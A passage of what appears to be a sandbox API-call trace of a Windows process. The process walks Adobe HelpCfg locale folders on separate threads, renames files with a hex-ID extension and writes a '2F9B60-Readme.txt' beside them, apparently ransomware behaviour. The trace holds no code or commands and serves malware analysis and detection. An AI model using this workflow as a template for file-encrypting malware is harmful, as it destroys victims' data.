_Dest=0x1cd86856, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86858, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.818] sprintf (in: _Dest=0x1cd8685a, _Format="%c%c" | out: _Dest="83") returned 2 [0164.818] sprintf (in: _Dest=0x1cd8685c, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.818] sprintf (in: _Dest=0x1cd8685e, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86860, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86862, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86864, _Format="%c%c" | out: _Dest="b6") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86866, _Format="%c%c" | out: _Dest="90") returned 2 [0164.818] sprintf (in: _Dest=0x1cd86868, _Format="%c%c" | out: _Dest="95") returned 2 [0164.818] sprintf (in: _Dest=0x1cd8686a, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.818] sprintf (in: _Dest=0x1cd8686c, _Format="%c%c" | out: _Dest="61") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8686e, _Format="%c%c" | out: _Dest="f2") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86870, _Format="%c%c" | out: _Dest="36") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86872, _Format="%c%c" | out: _Dest="39") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86874, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86876, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86878, _Format="%c%c" | out: _Dest="50") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8687a, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8687c, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8687e, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86880, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86882, _Format="%c%c" | out: _Dest="9e") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86884, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86886, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86888, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8688a, _Format="%c%c" | out: _Dest="06") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8688c, _Format="%c%c" | out: _Dest="22") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8688e, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86890, _Format="%c%c" | out: _Dest="37") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86892, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86894, _Format="%c%c" | out: _Dest="55") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86896, _Format="%c%c" | out: _Dest="32") returned 2 [0164.819] sprintf (in: _Dest=0x1cd86898, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.819] sprintf (in: _Dest=0x1cd8689a, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.819] RtlInitAnsiString (in: DestinationString=0x2f8bfde8, SourceString="56072a1b7b836fa23f3ab690956e61f236399c6b502d5e4ff19e6b4f2a0622e4372c55329cc2" | out: DestinationString="56072a1b7b836fa23f3ab690956e61f236399c6b502d5e4ff19e6b4f2a0622e4372c55329cc2") [0164.819] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f8bfdb8, SourceString="56072a1b7b836fa23f3ab690956e61f236399c6b502d5e4ff19e6b4f2a0622e4372c55329cc2", AllocateDestinationString=1 | out: DestinationString="56072a1b7b836fa23f3ab690956e61f236399c6b502d5e4ff19e6b4f2a0622e4372c55329cc2") returned 0x0 [0164.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050ba00 [0164.820] RtlFreeAnsiString (AnsiString="5") [0164.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb000) returned 1 [0164.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddafd0) returned 1 [0164.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167160) returned 1 [0164.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fef0) returned 1 [0164.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0164.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fcb0) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffab0) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb70) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffba0) returned 1 [0164.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c920 [0164.823] wcscat (in: _Dest=0x2050c920, _Source="56072a1b7b836fa23f3" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3" [0164.823] wcscat (in: _Dest=0x2050c920, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3.2f9b60" [0164.823] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3.2f9b60", NtPathName=0x2f8bfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\56072a1b7b836fa23f3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119170 [0165.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 [0165.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32b80) returned 1 [0165.020] NtQueryInformationFile (in: FileHandle=0x2550, IoStatusBlock=0x2f8bfdf8, FileInformation=0x2f8bfe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f8bfdf8, FileInformation=0x2f8bfe08) returned 0x0 [0165.020] NtSetInformationFile (FileHandle=0x2550, IoStatusBlock=0x2f8bfdf8, FileInformation=0x2f8bfe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c920) returned 1 [0165.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0165.051] FlushFileBuffers (hFile=0x2550) returned 1 [0166.262] CloseHandle (hObject=0x2550) returned 1 [0183.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb5250 [0183.945] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" [0183.945] wcscat (in: _Dest=0x1cdb5250, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\2F9B60-Readme.txt" [0183.945] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\2f9b60-readme.txt")) returned 0xffffffff [0183.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2df0 [0192.679] WriteFile (in: hFile=0x2df0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f8bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f8bfcb0*=0xba9, lpOverlapped=0x0) returned 1 [0203.995] CloseHandle (hObject=0x2df0) returned 1 [0207.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 [0207.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509530) returned 1 [0207.951] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0207.951] FindClose (in: hFindFile=0x1b859030 | out: hFindFile=0x1b859030) returned 1 [0207.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58780) returned 1 [0207.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0207.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868740) returned 1 Thread: id = 1950 os_tid = 0x1148 [0135.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79dc70 [0135.739] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0135.739] wcscat (in: _Dest=0x1b79dc70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" [0135.739] wcscat (in: _Dest=0x1b79dc70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*" [0135.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57400 [0135.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858fd0 [0135.743] wcscmp (_String1=".", _String2=".") returned 0 [0135.743] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.743] wcscmp (_String1="..", _String2=".") returned 1 [0135.743] wcscmp (_String1="..", _String2="..") returned 0 [0135.743] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.743] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.743] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027ab50 [0135.743] wcscpy (in: _Dest=0x2027ab50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0135.743] wcscat (in: _Dest=0x2027ab50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" [0135.743] wcscat (in: _Dest=0x2027ab50, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\Reader_10.0.helpcfg" [0150.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ab50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba8 [0150.987] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0150.987] FindClose (in: hFindFile=0x1b858fd0 | out: hFindFile=0x1b858fd0) returned 1 [0150.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57400) returned 1 [0150.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0150.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 Thread: id = 1951 os_tid = 0x114c [0135.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79dbf0 [0135.748] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0135.748] wcscat (in: _Dest=0x1b79dbf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" [0135.748] wcscat (in: _Dest=0x1b79dbf0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*" [0135.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0135.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858bb0 [0135.749] wcscmp (_String1=".", _String2=".") returned 0 [0135.749] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.749] wcscmp (_String1="..", _String2=".") returned 1 [0135.749] wcscmp (_String1="..", _String2="..") returned 0 [0135.749] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.749] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.749] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505690 [0135.750] wcscpy (in: _Dest=0x20505690, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0135.750] wcscat (in: _Dest=0x20505690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" [0135.750] wcscat (in: _Dest=0x20505690, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" [0150.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ccc [0150.990] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0150.990] FindClose (in: hFindFile=0x1b858bb0 | out: hFindFile=0x1b858bb0) returned 1 [0150.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0150.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0150.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 Thread: id = 1952 os_tid = 0x1150 [0135.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867bc0 [0135.812] wcscpy (in: _Dest=0x1b867bc0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0135.812] wcscat (in: _Dest=0x1b867bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" [0135.812] wcscat (in: _Dest=0x1b867bc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*" [0135.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce589f0 [0135.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8584f0 [0135.819] wcscmp (_String1=".", _String2=".") returned 0 [0135.819] FindNextFileW (in: hFindFile=0x1b8584f0, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.819] wcscmp (_String1="..", _String2=".") returned 1 [0135.819] wcscmp (_String1="..", _String2="..") returned 0 [0135.819] FindNextFileW (in: hFindFile=0x1b8584f0, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.819] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.820] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505730 [0135.820] wcscpy (in: _Dest=0x20505730, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0135.820] wcscat (in: _Dest=0x20505730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" [0135.820] wcscat (in: _Dest=0x20505730, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg" [0150.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd4 [0150.993] FindNextFileW (in: hFindFile=0x1b8584f0, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0150.993] FindClose (in: hFindFile=0x1b8584f0 | out: hFindFile=0x1b8584f0) returned 1 [0150.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce589f0) returned 1 [0150.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0150.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 Thread: id = 1953 os_tid = 0x1154 [0135.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867c40 [0135.846] wcscpy (in: _Dest=0x1b867c40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0135.847] wcscat (in: _Dest=0x1b867c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\" [0135.847] wcscat (in: _Dest=0x1b867c40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*" [0135.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0135.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common 